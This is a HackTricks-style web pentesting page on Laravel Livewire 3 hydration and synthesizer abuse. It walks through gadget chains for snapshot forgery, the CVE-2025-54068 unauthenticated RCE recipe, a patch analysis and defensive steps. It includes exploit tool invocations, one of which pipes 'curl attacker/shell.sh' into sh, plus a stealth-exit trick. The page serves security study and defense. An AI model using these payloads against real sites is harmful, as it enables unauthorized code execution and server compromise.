livewire-hydration-synthesizer-abuse.md (12560B)
1 --- 2 title: "Laravel Livewire Hydration & Synthesizer Abuse" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Laravel Livewire Hydration & Synthesizer Abuse 14 15 ## Recap of the Livewire state machine 16 17 Livewire 3 components exchange their state through **snapshots** that contain `data`, `memo`, and a checksum. Every POST to `/livewire/update` rehydrates the JSON snapshot server-side and executes the queued `calls`/`updates`. 18 19 ```php 20 class Checksum { 21 static function verify($snapshot) { 22 $checksum = $snapshot['checksum']; 23 unset($snapshot['checksum']); 24 if ($checksum !== self::generate($snapshot)) { 25 throw new CorruptComponentPayloadException; 26 } 27 } 28 29 static function generate($snapshot) { 30 return hash_hmac('sha256', json_encode($snapshot), $hashKey); 31 } 32 } 33 ``` 34 35 Anyone holding `APP_KEY` (used to derive `$hashKey`) can therefore forge arbitrary snapshots by recomputing the HMAC. 36 37 Complex properties are encoded as **synthetic tuples** detected by `Livewire\Drawer\BaseUtils::isSyntheticTuple()`; each tuple is `[value, {"s":"<key>", ...meta}]`. The hydration core simply delegates every tuple to the synth selected in `HandleComponents::$propertySynthesizers` and recurses over children: 38 39 ```php 40 protected function hydrate($valueOrTuple, $context, $path) 41 { 42 if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value; 43 [$value, $meta] = $tuple; 44 $synth = $this->propertySynth($meta['s'], $context, $path); 45 return $synth->hydrate($value, $meta, fn ($name, $child) 46 => $this->hydrate($child, $context, "{$path}.{$name}")); 47 } 48 ``` 49 50 This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion.<sup>[[1]](#references)</sup> 51 52 ## Synthesizers that grant gadget primitives 53 54 | Synthesizer | Attacker-controlled behaviour | 55 |-------------|--------------------------------| 56 | **CollectionSynth (`clctn`)** | Instantiates `new $meta['class']($value)` after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. 57 | **FormObjectSynth (`form`)** | Calls `new $meta['class']($component, $path)`, then assigns every public property from attacker-controlled children via `$hydrateChild`. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. 58 | **ModelSynth (`mdl`)** | When `key` is absent from meta it executes `return new $class;` allowing zero-argument instantiation of any class under attacker control. 59 60 Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.<sup>[[1]](#references)</sup> 61 62 ## Forging snapshots when `APP_KEY` is known 63 64 1. Capture a legitimate `/livewire/update` request and decode `components[0].snapshot`. 65 2. Inject nested tuples that point to gadget classes and recompute `checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)`. 66 3. Re-encode the snapshot, keep `_token`/`memo` untouched, and replay the request. 67 68 A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments.<sup>[[1]](#references)</sup> 69 70 ### From function calls to full RCE 71 72 Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization:<sup>[[1]](#references)</sup> 73 74 1. **Queueable trait** – any object using `Illuminate\Bus\Queueable` exposes public `$chained` and executes `unserialize(array_shift($this->chained))` in `dispatchNextJobInChain()`. 75 2. **BroadcastEvent wrapper** – `Illuminate\Broadcasting\BroadcastEvent` (ShouldQueue) is instantiated via `CollectionSynth` / `FormObjectSynth` with public `$chained` populated. 76 3. **phpggc Laravel/RCE4Adapted** – the serialized blob stored in `$chained[0]` builds `PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed`. `Signed::__invoke()` finally calls `call_user_func_array($closure, $args)` enabling `system($cmd)`. 77 4. **Stealth termination** – by handing a second `FnStream` callable such as `[new Laravel\Prompts\Terminal(), 'exit']`, the request ends with `exit()` instead of a noisy exception, keeping the HTTP response clean. 78 79 ### Automating snapshot forgery 80 81 `synacktiv/laravel-crypto-killer` now ships a `livewire` mode that stitches everything: 82 83 ```bash 84 ./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \ 85 -j request.json --function system -p "bash -c 'id'" 86 ``` 87 88 The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload.<sup>[[2]](#references)</sup> 89 90 ## CVE-2025-54068 – RCE without `APP_KEY` 91 92 According to the vendor advisory, the issue affects Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) and is unique to v3.<sup>[[4]](#references)</sup> 93 94 `updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:<sup>[[1]](#references)</sup> 95 96 ```php 97 protected function hydrateForUpdate($raw, $path, $value, $context) 98 { 99 $meta = $this->getMetaForPath($raw, $path); 100 if ($meta) { 101 return $this->hydrate([$value, $meta], $context, $path); 102 } 103 } 104 ``` 105 106 Exploit recipe: 107 108 1. Find a Livewire component with an untyped public property (e.g., `public $count;`). 109 2. Send an update that sets that property to `[]`. The next snapshot now stores it as `[[], {"s": "arr"}]`. 110 111 A minimal type-juggling flow looks like this: 112 113 ```http 114 POST /livewire/update 115 ... 116 "updates": {"count": []} 117 ``` 118 119 Then the next snapshot stores a tuple that keeps the `arr` synthesizer metadata: 120 121 ```json 122 "count": [[], {"s": "arr"}] 123 ``` 124 125 3. Craft another `updates` payload where that property contains a deeply nested array embedding tuples such as `[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]`. 126 4. During recursion, `hydrate()` evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. 127 5. Reuse the same `CollectionSynth`/`FormObjectSynth` primitives to instantiate a Queueable gadget whose `$chained[0]` contains the phpggc payload. Livewire processes the forged updates, invokes `dispatchNextJobInChain()`, and reaches `system(<cmd>)` without knowing `APP_KEY`. 128 129 Key reasons this works: 130 131 - `updates` are not covered by the snapshot checksum. 132 - `getMetaForPath()` trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing. 133 - Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration. 134 135 ### High-value pre-auth target: Filament login forms 136 137 Applications built on top of Livewire often expose an even easier pre-auth surface than a toy `public $count;` property. For example, Filament login pages commonly hydrate a weakly typed `$form` object that is already serialized as a `form` tuple in the snapshot. That removes the "scalar -> array -> `arr` tuple" setup step entirely:<sup>[[1]](#references)</sup> 138 139 - The snapshot already contains something like `{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}`. 140 - An attacker can send `updates.form` with nested malicious tuples directly, because recursion will eventually reinterpret children such as `[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]`. 141 - This is why pre-auth Livewire entrypoints that expose `FormObjectSynth` objects are especially attractive: they already provide both instantiation and public-property assignment. 142 143 ### Patch analysis: preserve raw metadata during update recursion 144 145 The fix introduces a dedicated `hydratePropertyUpdate()` path so nested update values no longer call generic `hydrate($child, ...)` on attacker-controlled children:<sup>[[1]](#references)</sup><sup>[[5]](#references)</sup> 146 147 ```php 148 protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw) 149 { 150 if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value; 151 [$value, $meta] = $tuple; 152 $synth = $this->propertySynth($meta['s'], $context, $path); 153 154 return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) { 155 return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context); 156 }); 157 } 158 ``` 159 160 Security impact of the patch: 161 162 - Nested updates are revalidated against the original raw snapshot path instead of trusting fresh attacker-supplied tuple metadata. 163 - Recursive hydration no longer lets children redefine `s` or `class` mid-flight. 164 - This blocks both arbitrary synthesizer switching and arbitrary class selection inside nested update arrays. 165 166 ## Livepyre – end-to-end exploitation 167 168 [Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path:<sup>[[3]](#references)</sup> 169 170 - Fingerprints the deployed Livewire version by parsing `<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//livewire/livewire.js%3Fid%3DHASH">` (or `?v=HASH`) and mapping the hash to vulnerable releases. 171 - Collects baseline snapshots by replaying benign actions and extracting `components[].snapshot`. 172 - Generates either an `updates`-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain. 173 - If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property. 174 175 Typical usage: 176 177 ```bash 178 # CVE-2025-54068, unauthenticated 179 python3 Livepyre.py -u https://target/livewire/component -f system -p id 180 181 # Signed snapshot exploit with known APP_KEY 182 python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \ 183 -f system -p "bash -c 'curl attacker/shell.sh|sh'" 184 ``` 185 186 `-c/--check` runs a non-destructive probe, `-F` skips version gating, `-H` and `-P` add custom headers or proxies, and `--function/--param` customise the php function invoked by the gadget chain. 187 188 ## Defensive considerations 189 190 - Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.<sup>[[4]](#references)</sup> 191 - Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples. 192 - Register only the synthesizers you truly need and treat user-controlled metadata (`$meta['class']`) as untrusted. 193 - Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples. 194 - Rotate `APP_KEY` promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.<sup>[[1]](#references)</sup> 195 196 ## References 197 198 - [1] [Synacktiv – Livewire: Remote Command Execution via Unmarshaling](https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling) 199 - [2] [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 200 - [3] [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre) 201 - [4] [GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory](https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3) 202 - [5] [livewire/livewire commit `ef04be7` – Fix property update hydration](https://github.com/livewire/livewire/commit/ef04be759da41b14d2d129e670533180a44987dc)